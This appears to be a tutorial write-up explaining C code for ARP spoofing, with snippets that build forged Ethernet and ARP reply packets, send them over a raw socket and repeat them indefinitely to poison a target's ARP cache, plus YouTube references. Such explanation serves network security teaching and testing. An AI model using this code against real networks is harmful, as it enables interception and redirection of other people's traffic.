Here's how the code implements ARP spoofing:

ARP Spoofing Background:

- ARP (Address Resolution Protocol) is used to map an IP address to a MAC address on a local network. It's necessary for devices to communicate with each other.
- In ARP spoofing, an attacker sends false ARP reply packets to a target system, associating their MAC address with the IP address of another device (e.g., a gateway or another host).
- This causes the target system to update its ARP cache, thinking that the attacker's MAC address is the legitimate one for the IP address in question. As a result, the target sends network traffic to the attacker's MAC address.

Creating ARP Reply Packets:

- The code constructs ARP reply packets using a combination of an Ethernet header and an ARP header. These packets are created to manipulate the ARP cache on target devices.
- The Ethernet header contains the source and destination MAC addresses and specifies the type of packet (in this case, ARP).
- The ARP header contains information about the hardware (Ethernet) and protocol (IPv4) addresses, as well as the ARP operation (reply).

```
uint8_t buffer[sizeof(struct ether_header) + sizeof(struct
ether_arp)];

struct ether_header* ether = (struct ether_header*)buffer;

struct ether_arp* arp = (struct ether_arp*)(buffer +
sizeof(struct ether_header));
```

Setting Ethernet Header:

- The code sets the source MAC address to the attacker's MAC address and the destination MAC address to the MAC address of the target device. This associates the attacker's MAC address with the target's IP address.

```
memcpy(&(ether->ether_dhost), &dest_mac,
sizeof(ether->ether_dhost));

memcpy(&(ether->ether_shost), &source_mac,
sizeof(ether->ether_shost));

ether->ether_type = htons(ETH_P_ARP);
```

Setting ARP Header:

- The code constructs the ARP reply by specifying:
  - Hardware type (Ethernet)
  - Protocol type (IPv4)
  - Hardware address length (usually 6 bytes for Ethernet)
  - Protocol address length (4 bytes for IPv4)
  - ARP operation (reply)
- The ARP header also contains the source and target MAC and IP addresses.

```
arp->arp_hrd = htons(ARPHRD_ETHER);

arp->arp_pro = htons(ETH_P_IP);

arp->arp_hln = ETH_ALEN;

arp->arp_pln = sizeof(struct in_addr);

arp->arp_op = htons(ARPOP_REPLY);

memcpy(&(arp->arp_sha), &source_mac, sizeof(arp->arp_sha));

memcpy(&(arp->arp_spa), &source_ip, sizeof(arp->arp_spa));

memcpy(&(arp->arp_tha), &dest_mac, sizeof(arp->arp_tha));

memcpy(&(arp->arp_tpa), &dest_ip, sizeof(arp->arp_tpa));
```

Sending the ARP Reply Packets:

- The code sends these crafted ARP reply packets over the network using a raw socket. The `sendto` function is used to send these packets to the target device.

```
if (sendto(socket_fd, &buffer, sizeof(buffer), 0, (struct
sockaddr*)&dest_addr, sizeof(dest_addr))) {

    printf("Sending to %s [%s]: %s is at %s\n", dest_ip_str,
dest_mac_str, source_ip_str, source_mac_str);

}
```

Continuous Sending:

- The code includes a loop to control the number of ARP packets sent and the time interval between transmissions. It can be configured to send a specified number of packets or to run indefinitely.

- If the `infinite_loop` flag is set, the program will continuously send ARP reply packets to the target, potentially redirecting network traffic for an extended period.

```
while (n_packets--) {


    if (sendto(socket_fd, &buffer, sizeof(buffer), 0,
(struct sockaddr*)&dest_addr, sizeof(dest_addr))) {

        printf("Sending to %s [%s]: %s is at %s\n",
dest_ip_str, dest_mac_str, source_ip_str, source_mac_str);

    }




}
```

Responsiveness to Signals:

- The code registers signal handlers for `SIGINT` (Ctrl+C) and `SIGTERM` to handle program termination gracefully. When these signals are received, the program cleans up and exits.

```
if (signal(SIGINT, clean) == SIG_ERR) {

    perror("Error: could not connect signal SIGINT");

    clean(SIGINT);

    exit(ERROR_CONNECT_SIGNAL);

}



if (signal(SIGTERM, clean) == SIG_ERR) {

    perror("Error: could not connect signal SIGTERM");

    clean(SIGTERM);

    exit(ERROR_CONNECT_SIGNAL);
```

```
                }
```

In summary, the provided code is a basic implementation of ARP spoofing. It creates ARP reply packets and sends them to manipulate the ARP cache of a target device, causing network traffic to be redirected to the attacker's MAC address.ARP spoofing can be used for legitimate network testing and diagnostics.

Video References:

1) https://www.youtube.com/watch?v=YJGGYKAV4pA
2) https://www.youtube.com/watch?v=EC1slXCT3bg